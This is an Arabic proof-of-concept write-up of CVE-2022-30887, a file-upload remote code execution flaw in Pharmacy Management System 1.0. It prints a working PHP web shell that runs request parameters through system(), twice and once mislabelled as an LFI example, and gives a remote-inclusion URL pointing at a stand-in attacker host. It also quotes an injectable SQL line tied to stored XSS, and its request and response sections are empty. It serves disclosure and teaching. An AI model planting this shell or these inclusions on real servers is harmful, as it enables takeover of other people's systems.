
استغلال إثبات مفهوم لثغرة CVE-2022-30887، يوضح تنفيذ الأوامر عن بُعد عبر رفع الملفات في نظام إدارة الصيدليات 1.0، مع إرشادات التخفيف.
هذا التطبيق مبني بواسطة Mayurik تم تطوير مشروع نظام إدارة الصيدلية بلغة PHP لتحسين دقة وكفاءة المتاجر الصيدلانية من خلال الأمان والإدارة. باختصار، هو تطبيق لإدارة مخزون المنتجات.
اكتُشف أن نظام إدارة الصيدلة v1.0 يحتوي على ثغرة تنفيذ كود عن بُعد (RCE) عبر المكوّن "/php_action/editProductImage.php". تسمح هذه الثغرة للمهاجمين بتنفيذ كود عشوائي عبر ملف صورة معدّ خصيصًا.
ثغرات رفع الملفات عادةً ما تكون ثغرة تسمح بتشغيل سكربت. وتعمل عندما نرفع الملف إلى الخادم ونُدخل أمرًا على الملف المرفوع. تنقسم ثغرات رفع الملفات إلى نوعين؛
تحدث هذه الثغرة عندما تتضمن الملفات المحلية على الخادم ملفًا تم الحصول عليه من المستخدم. يجب تعقيم القيم المستلمة من المستخدم.
مثال على LFI (Local File Inclusion) ؛
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
تعمل هذه الثغرة عندما يرفع المهاجم برمجية خبيثة من خادم بعيد.
مثال على RFI (Remote File Inclusion) ؛
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

مثال على سكربت شيل بلغة PHP؛
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
الطلب؛

الاستجابة؛

الطلب؛

الاستجابة؛


أيضًا، هذه الثغرة لا تزال نشطة في التطبيق.
في نفس الصفحة وهي "editproduct.php"، وجدت ثغرة XSS مخزنة.
$sql = "UPDATE product SET product_name = '$productName'
في هذا الكود يمكنك الخروج من السياق باستخدام علامات الاقتباس المزدوجة (")



آمل أن أكون قد شرحت كيفية عمل ثغرة تضمين الملفات، وما الحالة أو الموقف الذي يثير هذه الثغرة، وكيفية منع هذا الهجوم من المهاجمين. شكرًا لوقتك الثمين.